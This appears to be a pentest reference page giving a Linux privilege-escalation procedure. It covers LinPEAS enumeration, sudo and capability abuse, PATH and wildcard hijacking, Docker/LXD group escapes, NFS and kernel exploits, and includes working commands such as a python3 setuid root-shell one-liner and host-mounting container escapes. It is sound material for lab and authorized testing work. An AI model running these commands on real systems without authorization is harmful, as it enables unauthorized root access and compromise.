Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.
REFERENCE / 16 TASKS
Linux escalation
Start with identity checks, LinPEAS and sudo -l. Follow a useful rule, privileged job, file capability or recovered credential into its matching procedure.
Use when: A Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged paths
Needs: Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location
This form does not require an executable bit
For the early collector pass, transfer a reviewed LinPEAS copy, check the current UID/architecture and save its output. This form does not require an executable bit:
# This form does not require an executable bit
sh ./linpeas.sh | tee linpeas.txt
# Baseline
./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt
For every highlight
LinPEAS optional flags vary by build. Read the local ./linpeas.sh -h before selecting broader checks; they are not the automatic baseline. LSE progresses from default to -l1, then -l2 only if needed. unix-privesc-check detailed is slower and more false-positive-prone.
Read / verify → Read linpeas.txt. Confirm a reported sudo rule with sudo -l, a privileged path with namei/stat/getfacl, or a scheduled consumer with pspy before using that finding
If it fails → Script blocked or output empty: check the shell, transfer integrity and output path, then use the native checks for the observed rule/file/job. Empty collector output does not rule out escalation
Use when: A new Linux foothold or an identity/privilege change
Needs: A working command channel and accurate effective identity, group, mount and process context
Shell commands
Decisive output: current identity/groups, OS/kernel/architecture, network position, root-owned activity, mounts and exact sudo rules.
# Baseline
hostname; id; groups
uname -a; cat /etc/os-release; getconf LONG_BIT
pwd; umask; env
ip addr; ip route; ss -lntup; ss -lxnp
ps auxf
mount; findmnt; lsblk; df -hT
sudo -n -l 2>&1
sudo -l
# Baseline
getent passwd
awk -F: '$3 == 0 || $7 !~ /(nologin|false)$/ {print $1,$3,$4,$6,$7}' /etc/passwd
# Baseline
id; whoami; groups
hostname; pwd
ip addr; ip route
Read / verify → Record effective UID/groups, host/namespace and the exact candidate permission; re-check identity after every claimed escalation.
If it fails → Missing tools or permission-denied inventory is partial visibility. Use built-ins and inspect concrete application paths rather than claiming no escalation path exists.
Read / verify → Prove the specific read/write/replace action and consumer path; world-writable alone is not the complete escalation chain.
If it fails → A read-only/noexec/nosuid mount changes which effects are possible. Find another consumer rather than assuming every permission bypasses mount policy.
Check reusable local sessions/agents only when their sockets are accessible
# Check reusable local sessions/agents only when their sockets are accessible
w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null
Next: identify the value's user/service context, validate the smallest relevant transition (su, sudo, SSH or application authentication), then re-enumerate. Use credential handling for cracking/reuse.
Shell commands
Next: identify the value's user/service context, validate the smallest relevant transition (su, sudo, SSH or application authentication), then re-enumerate. Use credential handling for cracking/reuse.
Read / verify → Record source, exact material type and validated identity/service; keep real secrets in private lab records.
If it fails → Stale examples and unrelated tokens are common. A denied process read is a visibility limit, not evidence that no credentials exist elsewhere.
Use when: sudo -l grants an operation under a more useful identity
Needs: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it
Shell commands
# Baseline
sudo -n -l 2>&1
sudo -l
sudo --version
Shell commands
Record the run-as identity, password tag, executable path, argument constraints/wildcards and SETENV/NOSETENV/env_keep/secure_path/NOEXEC. Match the exact mode under GTFOBins.
Use an example only when the entire rule permits it. Restricted arguments, another path/build, privilege dropping, NOEXEC, a non-root run-as user or MAC policy can invalidate the escape.
Preserved LD_PRELOAD variant
Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.
Read / verify → Verify the executed run-as identity and effective UID; preserve the matching rule and successful operation.
If it fails → Restricted arguments, another run-as user, privilege dropping, NOEXEC or MAC policy can block the candidate. Evaluate another permitted primitive.
Only when the exact interpreter has effective cap_setuid
# Only when the exact interpreter has effective cap_setuid
/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
Read / verify → Verify effective IDs and the exact privileged operation; a real UID or prompt label alone is insufficient.
If it fails → nosuid, privilege dropping, fixed arguments or MAC policy can invalidate a candidate. Distinguish a file-read primitive from arbitrary execution.
Prove: exact object is controllable → job/service consumes it → process runs as a higher identity → schedule/restart/other trigger is available. A writable unit still needs a privileged reload/restart or automatic trigger. Cron uses a different/minimal environment.
Read / verify → Verify the consumer's resulting effect and identity; editing a file without an observed trigger is incomplete.
If it fails → Wrong path, service sandbox, missing trigger or another effective identity breaks the chain. Use process observation and permission checks.
Use when: A privileged program/job invokes a helper without an absolute path
Needs: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists
Shell commands
# Baseline
echo "$PATH" | tr ':' '\n'
echo "$PATH" | tr ':' '\n' | while IFS= read -r d; do
[ -z "$d" ] && d=.
[ -w "$d" ] && ls -ld "$d"
done
strings /PATH/TO/PRIVILEGED_BINARY | grep -E '(^|[^/])(cp|tar|service|sh|bash|cat)( |$)'
# If the privileged consumer resolves helper through a controllable PATH
printf '#!/bin/sh\n/usr/bin/id > /tmp/path-proof\n' > /WRITABLE/DIR/helper
chmod 700 /WRITABLE/DIR/helper
PATH=/WRITABLE/DIR:$PATH /PATH/TO/TRIGGER
cat /tmp/path-proof
Requires a relative command, the consumer's effective PATH, an earlier writable directory, trigger and retained privilege. Your interactive PATH alone is inconclusive.
Read / verify → Prove actual helper selection and effective identity through a controlled effect.
If it fails → secure_path, absolute paths, a changed working directory or privilege dropping can invalidate the route.
Confirm working directory, wildcard placement, utility implementation/options, privileged identity and trigger. Do not assume every wildcard or utility accepts filename-derived options.
Read / verify → Verify the utility's actual triggered effect and its identity, not merely that special filenames exist.
If it fails → A different utility build, -- separator, changed directory or absent glob can disprove this path.
Prove the privileged interpreter uses the writable module/include before changing it. The interactive interpreter's search path may differ from cron/systemd/sudo.
Read / verify → Prove the selected library path and effective execution identity; retain dependency and trigger evidence.
If it fails → Static linking, secure-loader sanitization, a different selected library or missing symbols breaks the route.
Use when: Membership or socket ACLs permit controlling a rootful daemon or useful session
Needs: Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation
Shell commands
# Baseline
id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
lxc list 2>/dev/null
# Rootful Docker daemon with an available image
docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh
# LXD/LXC with an available image alias
lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
Requires daemon/socket access, a rootful daemon, usable image and allowed host bind mount. Rootless mode, user namespaces, authorization plugins and SELinux can change the effect.
Requires configured daemon access, sufficient group rights, image availability and privileged-container/device support.
Read / verify → Distinguish host and container namespace, effective UID and the exact host operation.
If it fails → Rootless mode, user namespaces, policy or absent images can change the route. Do not equate a container prompt with host compromise.
Use when: A writable/exported filesystem or a loopback-only service with useful privileges
Needs: Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer
Shell commands
# Baseline
findmnt
cat /etc/fstab
mount
ss -lntup
ss -lxnp
For NFS, a writable export plus no_root_squash can trust client-root-created ownership/SUID metadata. Confirm export options, writable mount, target-side mount options and compatible execution. See NFS/RPC.
Root-only loopback services and UNIX sockets are candidates only. Identify protocol/authentication and prove a privileged action through a controlled request, configuration, plugin or file.
Read / verify → Verify the actual file/service operation, mapped identity and any resulting execution effect.
If it fails → An exposed export or listener is only a candidate. Validate mapping, authentication and consumer before claiming escalation.
Match component, exact distribution/build and patch/backport state, architecture, required configuration/capabilities/namespaces, mitigations and dependencies. Review source and recovery risk. A version title or successful compilation is only a candidate. Follow public exploit adaptation.
Read / verify → Verify actual effective UID/host context after the exploit, keeping the reviewed source and adaptation record.
If it fails → Wrong build, missing feature or mitigation can invalidate the PoC. Choose another evidence-backed candidate rather than cycling random local exploits.
Use the steps matching your current access. Follow a concrete finding instead of completing every technique in order.
Identify the session, then run LinPEAS early
After checking id, architecture and shell availability, transfer a trusted reviewed LinPEAS copy using the transfer procedure. The sh invocation does not need an executable bit. Save output; use the local -h before selecting optional flags.
Use a reviewed binary matching the target architecture; keep it running long enough to observe the suspected schedule. Stop after collecting the needed events.